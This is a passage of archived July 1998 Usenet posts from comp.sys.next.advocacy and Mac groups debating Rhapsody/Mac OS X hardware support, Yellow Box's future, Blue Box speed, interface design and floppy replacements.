aesthetically pleasing. Surely Apple can put some thought into the issue
and come up with something that looks better.
BTW, I realize the use of the little texturing. It is to indicate
draggableness (mmm... new words). My tear-off tabs use the same idea.
See: http://www.ews.uiuc.edu/~tokarek/rhapsody
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple, replace g3's floppy with superdisk!!
Message-ID: <1998071401035500.VAA07026@ladder01.news.aol.com>
Date: 14 Jul 1998 01:03:55 GMT
Organization: AOL http://www.aol.com
References: <35aa8d72.340166712@news.clark.net>
For those who were curious about the Sony HiFD:
http://www.ita.sel.sony.com/products/storage/hifd.html
BTW - they missed their planned Spring 1998 ship date.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 13 Jul 1998 20:10:24 -0600
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1307982010240001@news-proxy.cso.uiuc.edu>
References: <rmcassid-1307981232230001@dante.eng.uci.edu> <B1CFE637-1A286@206.165.43.144>
Mime-Version: 1.0
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In article <B1CFE637-1A286@206.165.43.144>, "Lawson English"
<english@primenet.com> wrote:
> Robert Cassidy <rmcassid@uci.edu> said:
>
> >I'd say the likelihood of Mac OS X running on stock
> >7600/8500/8600/9500/9600 systems is good.
>
> But what of my brand new 7300/180? That's a 604e-based system also. I
> bought it specifically to be able to run and program for Rhapsody just 2-3
> months ago.
Your 7300 will be supported. It has basically the same motherboard as the
7500/7600/8500/8600 (not exactly the same of course, but similar enough
that it will run). Your machine is on the Rhapsody supported hardware list
if I'm not mistaken.
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.ews.uiuc.edu/~tokarek>
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Mon, 13 Jul 1998 14:59:46 -0700
Organization: Great till Apple got rid of the newton
Message-ID: <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com>
In article <6ods6g$g5u$1@news.digifix.com>, sanguish@digifix.com (Scott
Anguish) wrote:
> Jordan Dea Mattson showed us his version at WWDC YB boot camp.
>
> You go from a whizzy example to full-fledged YB text editor
> with multiple documents and undo and loading/saving with something
> less than a half-dozen lines of code.
Yeah, but I bet its not HALF as good as simpletext, which (I hear from YB
advocates) takes 15,000 lines of code :P
Seriously tho, I have stopped my self learning of yb programming because I
am afraid Apple is going sell of the enterprise stuff, and be happy that
they have a consumer os in the form of rhapsody, and let developers
continue to program in classic mac.
--
So many pedestrians, so little time.
From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost>
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: '97 Mac entrant feels shafted (was: Re: OS X: Installed base of only 750,000 G3 systems?)
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net>
MIME-Version: 1.0
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Content-Transfer-Encoding: quoted-printable
Date: 13 Jul 1998 22:12:10 GMT
Organization: IBM.NET
On Sun, 12 Jul 1998 18:31:52, macghod@concentric.net (Steve Sullivan)
thought aloud:
> In article <6oacub$9q@eldborg.rhi.hi.is>, sev@rhi.hi.is (Sigurdur Einar
> Vilhelmsson) wrote:
>
> > Peter <pxpst2@spam.suxs.unixs.cis.pitt.edu> wrote:
> >
> > <snip>
> > >
> > > Actually you are not correct. The myriad of motherboard designs went bye
> > > bye when Steve came back. The fact that the Mach 3 kernal that OS X sits
> > > on ALREADY runs on 7600, 8600, and 9600s says that adding this support to
> > > those computers should not be difficult at all. I am guessing that in the
> > > end these machines will be supported before OS X shipps. Apple is trying
> > > to shatter unreasonable expectations like support any nubus,performas and
> > > clones based on those MotherBoards and then give in. In the end they will
> > > support the X600 series.
> >
> > One thing to remember is the Performa fiasco...remember the "upgradeable
> > to PowerPC" lawsuit? If Apple says...OSX will run on all PCI PMs...and
> > then, for some reason, they cannot do that, they will have class action
> > law suits to deal with. They know that, and are probably just covering
> > their behinds. When OSX comes out, and they can say, sure...run it on
> > G3 upgraded PCI PMs all you like, everyone is happy...(except the NuBUS
> > owners).
>
>
> Apple didnt just say they were ppc upgradeable, they actually put that on
> the box.
> Their is a difference between saying "barring any unforseen circumstances
> macos x will run on 604 machines and 603 machines made by apple" and in
> bold letters putting "powerpc upgradeable" on the box.
I bought my 20th Anniversary Mac (TAM) after all the signals from
Apple leadership indicated that this model, along with "all (other)
models shipping in or after Jan '97" would be Rhapsody-compatible;
"Rhapsody" being the long-awaited modern OS with PMT, memory
protection etc. that takes full use of the hardware. Being new to Macs
('97 entry) and listening to Apple (e.g. Boston Macworld '97) that
"Yellow Box" would be the future for Mac software I decided to go slow
(not) blowing millions into Mac software until native YB versions
would be available upon and after Rhapsody's (Preview and Unified)
release - i.e. multi-tasking and crash-resistant apps.
Suddenly a couple of months ago altogether different statements made
by Apple's leadership began to appear, indicating that the '97
hardware designs wouldn't, after all, be compatible with the upcoming
modern OS Rhapsody (now renamed Mac OS X). Huh? Having run
NeXT/Rhapsody's distant cousin OS/2 for years on 486 to K6 systems I'm
pretty certain that a 250MHz 603e PowerPC could offer very comfortable
user experience running a modern OS. So, last year Apple was selling
these systems as future-proofed but suddenly the only upgrade option
remaining is just the old Mac OS 8.x line, which, despite being an
improvement, is nowhere near the modern OS that the Rhapsody upgrade
was touted to be for these machines.
I would like to fully move to (modern) Apple platform and was looking
forward to getting more new Apple hardware but I feel ashamedly
shafted by this new "nothing-pre-G3 supported" corporate line. Is this
some kind of inevitable initiation to the fold of Apple faithful or
what? Some websites and columnists have quickly taken the approach
that dropping (Rhapsody / Mac OS X) support for "older" Macs is
understandable and even a Good Thing (tm) if it allows Apple to sell
more G3's to the pre-'98 suckers (eh, owners), to make Mac OS X
somehow run faster if pre-G3 machine support isn't on the installation
CD's, <insert Yet Another Great Excuse here>, etc... Yeah right.
Will the millions of second generation PCI Mac owners just take the
new "non-modern" future as business as usual and flock to buy the
latest Apple boxes-du-jour in good hope that those might finally be
blessed with the promised modern OS? Do these millions actually know
what they will be missing without a really modern OS such as Rhapsody
/ Mac OS X? To the best of my knowledge adding second gen PCI Mac
support to Rhap/X isn't exactly a huge undertaking but the reason
behind appears to be coerce users to buy new G3 boxes (forced
upgrading a la Microsoft, except MS can only make your software
obsolete).
I would sincerely wish to get full and official explanation regarding
pre-G3 Powermacs' OS compatibility at Apple's soonest convenience. The
only things worse than getting shafted are either getting shafted and
left in the dark, or getting shafted twice.
Best regards,
--
taiQ
[this space is intentionally blank]
From: "Ed Deans." <eadeans@san.rr.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com>
Subject: Re: Mac OS X UI
Message-ID: <Qpvq1.63$E5.354683@proxye1.san.rr.com>
Date: Mon, 13 Jul 1998 21:58:08 GMT
NNTP-Posting-Date: Mon, 13 Jul 1998 14:58:08 PDT
Organization: TWC Road Runner, San Diego, CA
John Kheit wrote in message <6odtu6$lh3$5@lwnws01.ne.highway1.com>...
>Pulsar <tokarek@uiuc.edu> wrote:
>
>They've put in zero quality thought about a new UI. And if there was
quality
>thought and talent put on it, clearly it didn't bubble up to the top, or
was
>not allowed to mature perhaps being killed by idiot decision makers with
zero
>taste. Keith Ohlfs could puke a better design into a napkin, drunk,
stoned,
>and after a beating over the head with a mallet.
>
There is not much evidence to suggest serious thinking has gone into
advancing the UI beyond what was already planned for Copland.
--Ed.
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X HW support: the too slow arguement
Date: Mon, 13 Jul 1998 20:21:55 -0600
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1307982021550001@news-proxy.cso.uiuc.edu>
References: <Pine.SOL.3.96.980713140746.20742A-100000@ux7.cso.uiuc.edu> <B1CFE27C-C238@206.165.43.144>
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In article <B1CFE27C-C238@206.165.43.144>, "Lawson English"
<english@primenet.com> wrote:
> Another issue having to do with speed is the MacOS 8.x Blue Box. The only
> rumors that I've seen for Blue Box performance suggest that it is
> unresponsive and choppy, video-wise. However, if one were to add a large L2
> cache running at 1/2 the processor speed, it is conceivable that this
> choppiness would disappear.
Hmm... while going through the Blue Box is slower (on CPU/FPU/Graphics/Disk
and such), it's not a lot slower (I've seen around 80% as fast for graphics
and around 90-100% for CPU with disk bringing up the rear at 66%).
It's not as good as the "native" Mac OS, but it's not all that bad. Mac OS
X should be at least marginally better particularly since the
Mac-OS-inside-Blue-Box should be faster in general.
I don't think the G3 with its L2 cache makes much difference when comparing
Mac OS to Blue Box on the same machine. There is still the same relative
slow down when going through the Blue Box.
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.ews.uiuc.edu/~tokarek>
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 13 Jul 1998 16:30:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1CFE671-1B03D@206.165.43.144>
References: <rmcassid-1307981236210001@dante.eng.uci.edu>
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
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Robert Cassidy <rmcassid@uci.edu> said:
>In article <1dbwsaq.1s5lw3w1ibx0zwN@cetus201.wco.com>,
>mpaque@wco.com
>(Mike Paquette) wrote:
>
>>That should be 'Director of OS Technology Product Marketing' at Apple.
>>There's a difference...
>
>Ah, sounds like the engineers want to make sure we don't confuse a
>marketing weenie with one of them. Probably a wise move... :-)
Head of developer-relations is also head of Apple marketing.
Definitely NOT a wise move, IMHO.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Date: Mon, 13 Jul 1998 20:21:28 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-1307982021290001@elk49.dol.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com>
In article <6oe13t$hm7$1@news.digifix.com>, sanguish@digifix.com (Scott
Anguish) wrote:
> On 07/13/98, Steve Sullivan wrote:
> >In article <6ods6g$g5u$1@news.digifix.com>, sanguish@digifix.com
> (Scott
> >Anguish) wrote:
> >
> >
> >> Jordan Dea Mattson showed us his version at WWDC YB boot
> camp.
> >>
> >> You go from a whizzy example to full-fledged YB text editor
> >> with multiple documents and undo and loading/saving with something
> >> less than a half-dozen lines of code.
> >
> >
> >Yeah, but I bet its not HALF as good as simpletext, which (I hear
> from YB
> >advocates) takes 15,000 lines of code :P
> >
> >Seriously tho, I have stopped my self learning of yb programming
> because I
> >am afraid Apple is going sell of the enterprise stuff, and be happy
> that
> >they have a consumer os in the form of rhapsody, and let developers
> >continue to program in classic mac.
>
> Apple isn't going to be selling off the Enterprise stuff.
>
> YB isn't going to be sold off, and it isn't dead. Not by a
> long shot.
>
> Geez, why do you people listen to Henry Norr?
Scott--I agree with you. But I can also see where the concerns come from.
People seem to see the entire Carbon set of APIs as Apple knuckling under
to current Mac programmers who don't have the time/money/interest in
switching to YB. Whether that's true or not (and I suspect there's a grain
of truth), that's the perception.
Apple could settle some (or most) of those concerns by saying "YB is the
future. We're implementing Carbon to help people make the transition, but
in 5-10 years, we expect that everyone will be using YB" or words to that
effect. Not having gotten that strong of a statement from Apple is making
some people concerned.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <rmcassid-0907981204040001@dante.eng.uci.edu> <gmgraves-1007981305540001@sf-usr1-48-176.dialup.slip.net> <rmcassid-1307981227020001@dante.eng.uci.edu> <atlauren-1307981445490001@jungleland.acs.uci.edu>
Message-ID: <35aa87be.0@news.depaul.edu>
Date: 13 Jul 98 22:18:38 GMT
In comp.sys.next.advocacy Andrew Laurence <atlauren@uci.edu> wrote:
> Pop quiz: How long before somebody cooks up a real-mode TSR that pretends
> to be a BIOS w/ 66Mhz processor, and fake out the installer in the
> process?
That would be like breaking into a locked cabinet to get at
some Syrup of Ipecac, just for kicks.
--
"... and subpoenas for all." - Ken Starr
From: devnull@occam.com (Leon von Stauber)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: 14 Jul 1998 01:48:03 GMT
Organization: Occam's Razor
Message-ID: <6oedcj$6l6$1@news.cmc.net>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5bv7$ba0@shelob.afs.com>
<6o5g4e$c6e$1@news.cs.tu-berlin.de> <6o5jba$6q$1@news.xmission.com>
<6o5k4c$r2d$1@crib.corepower.com> <6o5n32$6q$2@news.xmission.com>
<Fergus.Doherty-ya02408000R1307981548500001@news.nottingham.ac.uk> <6ods31$lh3$1@lwnws01.ne.highway1.com>
<35AA7B30.30B7DF11@ericsson.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: Michael.Peck@ericsson.com
In <35AA7B30.30B7DF11@ericsson.com> Michael Peck wrote:
>
>Apparently, we haven't yet gotten to the point of actually saying "Steve
>Jobs" in a post full of criticism. It's some nameless "greedy gusses at
>Apple", as if anyone but Steve Jobs could account for the past and
>current closed strategy. Ah, well, minds change slowly. Maybe in a few
>months NeXT fans could actually (albeit timidly) start blaming the real
>culprit instead of scapegoats like Ken Bereskin.
I think if you'll go back a ways in DejaNews, you'll find quite a
few expressions of doubt by ex-NeXTers at the idea of Steve Jobs
continuing to have a role in the development of formerly NeXT
technology, and taking the business reins at Apple. We've had years
of experience w/ NeXT, screwing up what seemed like wonderful
possibilities for a truly fantastic technology. I certainly had my...
misgivings about him.
But results count. From my point-of-view, from the POV of Wall Street,
and from the POV of the general computing public, *most* of Jobs'
decisions have been the right ones. You haven't seen as much criticism
of Jobs from ex-NeXTers (or Apple advocates, or even the press) lately
b/c they're mostly pleased w/ the overall results of his work.
The ex-NeXTers are probably at least as surprised as anybody else that
things are going this well w/ Steve at the helm.
_______________________________________________________________
Leon von Stauber http://www.occam.com/leonvs/
Occam's Razor, Game Designer <com.occam@leonvs>
Metapath Software, UNIX System Admin <com.metapath@lvonstau>
"We have not come to save you, but you will not die in vain!"
From: trev@sc.edu (Trevor Zion Bauknight)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: Mon, 13 Jul 1998 17:19:02 -0400
Organization: Metaphysical Bunko Squad
Message-ID: <trev-1307981719020001@nas-p10.usc.net>
References: <6n6a2e$21s$1@news.cmc.net> <markeaton-0307982233040001@user-38ld65c.dialup.mindspring.com> <6noi5p$2qg$1@news.cmc.net> <1dbual6.1dg6va4fd3yjwN@carina22.wco.com> <slrn6qamrq.ojd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
In article <slrn6qamrq.ojd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
mbkennel <replace this with '@'> yahoo.com wrote:
> How is 'make' going to work if make, /bin/csh, /bin/sh, cat, et cetera
> are not part of MacOS X user? If ftpd doesn't exist? If inetd isn't
> accepting connections? What are those "command lines" in
> /etc/inetd.conf going to mean without a shell?
>
> That's the real problem. Terminal.app is just an app; nobody is
> worried about that.
Another of the real problems with including all those things is how to
keep an out-of-the-box iMac or whatever from being as wide-open
security-wise as it would be if shipped with a lot of daemons, etc. on and
running in order to please programmers and network admins who want to be
able to "count on" that stuff being available for their hacking purposes.
Sure, Terminal.app is just an app and it would need a shell, utilities,
daemons, etc. to work...but the question is when that stuff needs to be
included in a standard install?
Trev
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Mon, 13 Jul 1998 15:32:25 -0700
Organization: Fearful Symmetry Designs
Message-ID: <not-1307981532260001@2-76.phx.psn.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost>
NNTP-Posting-Date: 13 Jul 1998 22:30:42 GMT
Mail-Copies-To: eilersm@azstarnet.com
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost>,
pit@iohk.SPAM-NOT.com (taiQ) wrote:
> I would like to fully move to (modern) Apple platform and was looking
> forward to getting more new Apple hardware but I feel ashamedly
> shafted by this new "nothing-pre-G3 supported" corporate line. Is this
> some kind of inevitable initiation to the fold of Apple faithful or
> what? Some websites and columnists have quickly taken the approach
> that dropping (Rhapsody / Mac OS X) support for "older" Macs is
> understandable and even a Good Thing (tm) if it allows Apple to sell
> more G3's to the pre-'98 suckers (eh, owners), to make Mac OS X
> somehow run faster if pre-G3 machine support isn't on the installation
> CD's, <insert Yet Another Great Excuse here>, etc... Yeah right.
The issue has nothing to do with hardware at all. It has to do with the
amount that Apple is willing to spend testing, supporting, and adapting OS
X to legacy systems. Legacy systems, in this case, means anything that was
released or shipped before Mac OS X and Mac Os X Server were announced, at
this point. Apple isn't going to spend the dough.
> I would sincerely wish to get full and official explanation regarding
> pre-G3 Powermacs' OS compatibility at Apple's soonest convenience. The
> only things worse than getting shafted are either getting shafted and
> left in the dark, or getting shafted twice.
Why have you all forgotten a very obvious point? Development on Allegro
(8.5) is going to continue in parallel with Mac OS X, with features
migrating "downstairs" from OS x the whole time. Both OS 8/9 and OS X
(with OS X Server) are going to co-exist the whole time, and the 601-604e
OS's will continute to exist for the future. No, you won;t be able to run
the latest and greatest, but trust me, NT 5.0 isn't going to run on any
486 (and perhaps nothing below Pentium II.) There is a far distance
between "getting shafted" and just getting second place in line.
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
"Eureka! I smella!" --chant of a 4-year-old out by the pool
Michael M. Eilers * Fearful Symmetry Designs
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 13 Jul 1998 22:18:37 GMT
Organization: Digital Fix Development
Message-ID: <6oe13t$hm7$1@news.digifix.com>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net>
In-Reply-To: <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net>
On 07/13/98, Steve Sullivan wrote:
>In article <6ods6g$g5u$1@news.digifix.com>, sanguish@digifix.com
(Scott
>Anguish) wrote:
>
>
>> Jordan Dea Mattson showed us his version at WWDC YB boot
camp.
>>
>> You go from a whizzy example to full-fledged YB text editor
>> with multiple documents and undo and loading/saving with something
>> less than a half-dozen lines of code.
>
>
>Yeah, but I bet its not HALF as good as simpletext, which (I hear
from YB
>advocates) takes 15,000 lines of code :P
>
>Seriously tho, I have stopped my self learning of yb programming
because I
>am afraid Apple is going sell of the enterprise stuff, and be happy
that
>they have a consumer os in the form of rhapsody, and let developers
>continue to program in classic mac.
Apple isn't going to be selling off the Enterprise stuff.
YB isn't going to be sold off, and it isn't dead. Not by a
long shot.
Geez, why do you people listen to Henry Norr?
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Followup-To: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Date: 13 Jul 1998 22:06:56 GMT
Organization: University of Illinois at Chicago
Message-ID: <6oe0e0$u3k$1@piglet.cc.uic.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <Pine.SOL.3.96.980709101146.16873A-100000@ux7.cso.uiuc.edu> <6o721r$1log$1@piglet.cc.uic.edu> <Pine.SOL.3.96.980713160624.6998A-100000@ux10.cso.uiuc.edu>
Pulsar (tokarek@uiuc.edu) wrote:
: On 11 Jul 1998, Anil T Maliyekke wrote:
: > Pulsar (tokarek@uiuc.edu) wrote:
: >
: > : It would make sense to support Mac OS X on the first generation PCI
: > : PowerMacs since most of the work for that will be done for Rhapsody unless
: > : you consider that Apple may think it can make more money forcing owners of
: > : these machines to buy brand new G3 or G4 machines.
: >
: > On the otherhand, maybe Apple doesn't expect the vast majority of users of
: > the older machines to upgrade to a new more resource intensive
: > operating system, so they can't justify the costs of supporting
: > the older machines for the few people who might upgrade. Besides
: > they are stilling going to develop System 8 for those machines
: > so it won't be like those users are being completely left out in
: > the cold.
: Mac OS 8 sold over 2 million copies in its first couple of months.
: There is nothing about Mac OS X that should be more resource intensive
: than Rhapsody. In fact, it should be _less_ resource intensive! I think
: you and Apple underestimate the demand for an "advanced" OS in the
: Macintosh community. Even Mac OS 8 which was not such a significant
: advance architecturally sold extremely well. If Mac OS X had more
: hardware support would you care to guess how many copies it would sell?
: There is no good reason for Apple to fragment the market so much. There is
: absolutely no good excuse for Apple to alienate a large number of normally
: loyal Mac users by dropping support for their machines unreasonably.
I'm not comparing Mac OS X to Rhapsody, I'm comparing it to Mac OS 8.
I just wondering how many of the machines that were sold prior to
debut of G3 machines will truly be fit to run Mac OS X without
memory and or disk upgrades, and how many users/organizations would
really want to upgrade machines that are more than two years old at the
time of Mac OS X's debut. No doubt, users want a better OS, and
no doubt some people would buy it, but the question is how many
people will actually being willing to perform a major OS upgrade
on an older machine. An upgrade from Mac OS 7.x or 8.x to Mac OS
X is going to be a major event, and it isn't going to be a decision
that many people are just going to jump into. The basic question
for Apple is whether upgrade revenues from these older
machines is going to equal the upfront investments they have to
make to support the older machines.
: > As for Rhapsody, I don't think it is even clear which machines
: > it will end up supporting, so I don't think you can argue that
: > all the work will be done already.
: Umm... Serious work on Mac OS X is not supposed to start until _after_
: Rhapsody 1.0 is finished. By then the supported hardware list will most
: definitely be known! All the work _will_ be done by that point so I most
: certainly can argue that!
: > It's not clear to me which
: > kernel they are going to use in Rhapsody/Mac OS X Server 1998
: > edition and Mac OS X (and Server?) 1999 edition.
: Rhapsody: Apple variant of Mach 2.5
: Mac OS X: Apple variant of Mach 3.0
: > Considering the new name for Rhapsody, I wouldn't be suprised if Apple
: > doesn't put to much effort into supporting 603e and slower, older
: > 604 systems.
: There is no reason why these systems should be too slow for Rhapsody or
: even Mac OS X. Both of those are based on NeXT/OpenStep which ran better
: on NeXT 68040 hardware than the Mac OS on equivalent Mac 68040 hardware.
: The PowerMacs in question are dozens of times faster than these machines.
: There is no emulated code baggage to carry around so Rhapsody should be
: even faster. Mac OS is supposed to be even faster than Rhapsody.
: Furthermore, the _reference_ system for Rhapsody is not supported in Mac
: OS X. PowerMac G3 support had to be _added_ in. They were not originally
: on the supported list.
It's not an issue of speed. It's an issue of return on investment for
Apple. Will the investment they make in support these machines bring
them added revenues or will it just drag their bottom line down? Will
it delay time to market? Would you rather see Mac OS X ship in
the middle of year 2000 with support for machines that date back
four or five years, or Mac OS X ship late next year with support
for machines that came out in the last two years? Apple doesn't
have infinite resources to everything nor can it accomplish an infinite
number of things in a finite amount of time. I would personally
rather see the new OS ship as early as possible.
With the kernel upgrade and probably a restructuring of the various
other low level details, they will probably be starting over in terms
of hardware drivers. Does MkLinux (using the Mach 3 kernel) run
on 603e's yet?
: Ryan Tokarek
: <tokarek@uiuc.edu>
: <http://www.ews.uiuc.edu/~tokarek>
From: horner@foxtrotREMOVE.af1REMOVE.oduREMOVE.edu (John)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc,comp.sys.mac.system
Subject: Re: Apple, replace g3's floppy with superdisk!!
Date: Mon, 13 Jul 1998 22:45:03 GMT
Organization: Verio Mid-Atlantic
Message-ID: <35aa8d72.340166712@news.clark.net>
References: <jpolaski-0707980933270001@d151-216.ce.mediaone.net> <6nvdvi$r15$1@news12.ispnews.com> <jpolaski-0907980849330001@d151-216.ce.mediaone.net> <6o2igm$ss6$1@news0-alterdial.uu.net> <6o34ih$bac$1@callisto.acsu.buffalo.edu> <6o3iuf$u1e$1@nnrp1.dejanews.com> <macghod-1107981158280001@sdn-ar-001casbarp259.dialsprint.net> <6od270$vt9$1@ins8.netins.net>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
On 13 Jul 1998 13:31:12 GMT, icky@bleet.moo.isu.edu (Ikabode Krane)
wrote:
>>So many pedestrians, so little time.
>
>Does it have an auto-eject function? If I have to push a button to get the
>floppy out, I consider that a step backwards. Perhaps the wintel sheep can
>live with *manually* ejecting a floppy but after 12 years on a Mac, I can't.
>
>Icky
>
>(Same goes with 2 button meese, if god intended me to have to make a choice
>on which button to push he would have made the Mac with a two button mouse)
>
Does your car also have those annoying brake pedal AND acceleration
pedal? How about that stupid TV remote with the Up and Down arrows to
move through the channels.
Obtw troll, you can get a 2 button mouse for your Mac.
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Where to go if Apple goofs?
Date: 13 Jul 1998 15:45:00 -0700
Organization: Primenet (602)416-7000
Message-ID: <6oe2lc$8cs@nntp02.primenet.com>
References: <1dc0rlf.ax5ey1w0wseyN@rhrz-isdn3-p25.rhrz.uni-bonn.de> <1998071301405900.VAA18145@ladder01.news.aol.com> <6oc22f$8m9@news.gdi.net> <6odfol$7qv$1@news.xmission.com> <6odhc8$aue@nntp02.primenet.com> <6odulr$lh3$6@lwnws01.ne.highway1.com>
John Kheit <jkheit@mediaone.net> wrote:
: John Jensen <jjens@primenet.com> wrote:
: >> Heck, if there had been more GNUStep supporters, there might not have ever
: > been a KDE.
: There are a sum total of a 200 or less really good OPENSTEP programmers
: that make a profession out of it (guestimating). [...] Talking down to
: their supposed sloth is rather obnoxious comedy.
I'm not sure how to respond to this. I didn't think I was talking down to
Openstep programmers in general, and certainly not the paragons you
chronicle. Nonetheless, there does seem to be a lesson to be drawn (or
several) from the *Step story. Indeed, you've written a couple dark
paragraphs on why GNUStep failed. I wonder what reasons you would offer
for KDEs success ...
John
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 14 Jul 1998 02:29:43 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6oefqn$5dm$1@lwnws01.ne.highway1.com>
